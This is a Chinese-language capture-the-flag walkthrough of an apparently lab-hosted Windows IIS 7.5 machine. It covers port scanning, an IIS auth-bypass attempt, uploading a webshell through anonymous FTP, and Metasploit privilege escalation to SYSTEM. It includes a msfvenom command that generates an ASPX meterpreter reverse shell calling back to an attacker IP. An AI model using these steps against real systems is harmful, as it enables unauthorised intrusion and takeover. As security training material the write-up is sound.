信息收集:
连接VPN,获取目标机器IP并对其进行端口扫描、服务版本探测:
nmap -sC -sV -T4 -Pn 10.10.10.5 -p1-65535
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-01 13:15 CST
Stats: 0:02:23 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 37.55% done; ETC: 13:21 (0:03:58 remaining)
Stats: 0:03:31 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 65.62% done; ETC: 13:20 (0:01:51 remaining)
Stats: 0:04:46 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 95.55% done; ETC: 13:20 (0:00:13 remaining)
Nmap scan report for 10.10.10.5
Host is up (0.22s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 02:06AM <DIR> aspnet_client
| 03-17-17 05:37PM 689 iisstart.htm
|_03-17-17 05:37PM 184946 welcome.png
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 324.50 seconds
21 FTP端口允许匿名访问,但并无可用信息。于是我把目光转向了80 http端口。除了欢迎页面,一无所获。
幸运的是,Nmap帮助我探测到了IIS服务版本信息,Microsoft IIS httpd 7.5。
searchploit Microsoft IIS 7.5
searchploit -x windows/remote/19033.txt
我获得了以下信息:
基于PHP脚本的未授权访问:通过向IIS6.0 发送特殊的请求,可意外的访问到" admin "目录,并可在不提供账号凭证的情况下优雅的执行该目录下PHP脚本文件。
基于ASP脚本的未授权访问:通过向IIS7.5发送特殊的请求,可意外的访问到限制级目录,并优雅的执行ASP代码脚本。
文件上传漏洞:利用IIS7.5与PHP文件上传的特性,将.php后缀加入到符合其上传规则文件名末尾,例如1.aspx/.php,则服务器会将其解析成.php脚本文件,从而绕过系统对文件上传类型的检验。
第二个漏洞为拒绝服务攻击,因其对于获取目标系统权限暂无实质性帮助,且不考虑。
那么目前便是掌握的信息量略显不够,那么便有两条途径供我利用。
1.FTP登录爆破,枚举用户名,爆破口令,但不应为优选,因其无法得知爆破可能性以及爆破之后的收益无法预估。建议保留。
2.路径爆破,目前情况为优选。
根据F12查看页面属性,查看所请求文件路径,发现welcome.jpg文件与Nmap匿名访问FTP获取的结果相似。
更换请求文件返回200状态码,验证了我的想法。
访问FTP中扫描到的aspnet_client发现其对权限进行校验我无权访问。而我碰巧在刚刚获取到一些未授权访问漏洞利用的信息方法。
以及目标机器脚本语言环境ASP.NET作为参考:
我尝试根据漏洞POC指示,将“::$INDEX_ALLOCATION”加入到了路径中,它看起来像这个样子。
http://10.10.10.5/aspnet_client::$INDEX_ALLOCATION/
令我欣喜的是,返回页面状态码从403无权限访问变成了404文件不存在,我的POC好像成功了:
我尝试了简单常见的几个文件名并未得到一些好的回应,于是我决定对其进行路径爆破,但并不是从当前目录,我希望能先从根目录开始获取目标更多的文件夹目录信息。
dirsearch -u http://10.10.10.5 -e aspx
哇哦,出乎预料的是它竟然真的只有/aspnet_client/目录。我又尝试对aspnet_client进行文件枚举,同样的,它也并无向我返回任何信息。
我开始怀疑自己的判断,对目录名称进行随机测试,发现只要我对其进行更改,相应状态码便会从403变404。看来80端口并未如想象中那般简单,而我也感觉自身陷入到了兔子洞中,为了不越陷越深,我重新梳理了目前我掌握的信息。
21 :FTP
允许匿名访问,有两个文件,一个目录。
可进行用户名枚举,口令猜解。
| 03-18-17 02:06AM <DIR> aspnet_client
| 03-17-17 05:37PM 689 iisstart.htm
|_03-17-17 05:37PM 184946 welcome.png
80 :http
运行Microsoft IIS httpd 7.5服务。
有一种PHP未授权漏洞利用信息,一种ASP未授权漏洞利用信息,一种PHP文件上传Bypass漏洞利用信息。
http服务路径存在有 aspnet_client、iisstart.htm、welcome.png 可能与FTP存在关联。
此时,我意识到我忽略掉的一种利用方法。我似乎需要验证FTP共享目录与Http目录是否真的关联。
我将简单的" 1.txt " 放入了FTP共享目录中。
然后到目标80端口访问 " 1.txt " 。正如我希望的那样,它们确实存在关联:
于是我尝试生成webshell通过FTP服务传送到目标80端口路径中。
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.16.6 LPORT=4444 -f aspx -o payload.aspx
然后访问页面:
获取Meterperter:
我获取到的也是IIS web用户的shell:
meterpreter > shell
Process 1120 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
whoami
iis apppool\web
权限提升:
Metasploit :exploit/windows/local/service_permissions
Metasploit可自动检测当前用户是否对服务有写入权限,并对其注入shellcode致使系统错误的以自身权限运行shellcode,从而导致被恶意的获取系统级system权限。
此场景于windows环境中是普遍存在的,在windows中服务是以系统权限运行的,但通常由用户安装部署致使用户对其拥有写入执行更改甚至完全控制权,像某些第三方软件包会附带一个系统级别运行的服务,即使当前用户对其没有写入改写权限,或是用户在安装部署软件时选择了" only install for me " or " 只为当前用户安装 "致使计算机本地其他用户对该软件服务并无访问或执行写入权限,攻击者也可以通过令牌窃取模仿用户对该服务进行身份欺骗获取服务写入权限注入恶意shellcode从而错误的反弹给攻击者system权限级shell。
可以看见确实是成功的,但是不知为何回连不自动建立新会话。
但在后来我切换session看见会话已经建立,可能是因为网速的问题,至此,已获取该机器的系统控制权。
用户级flag:
root级flag: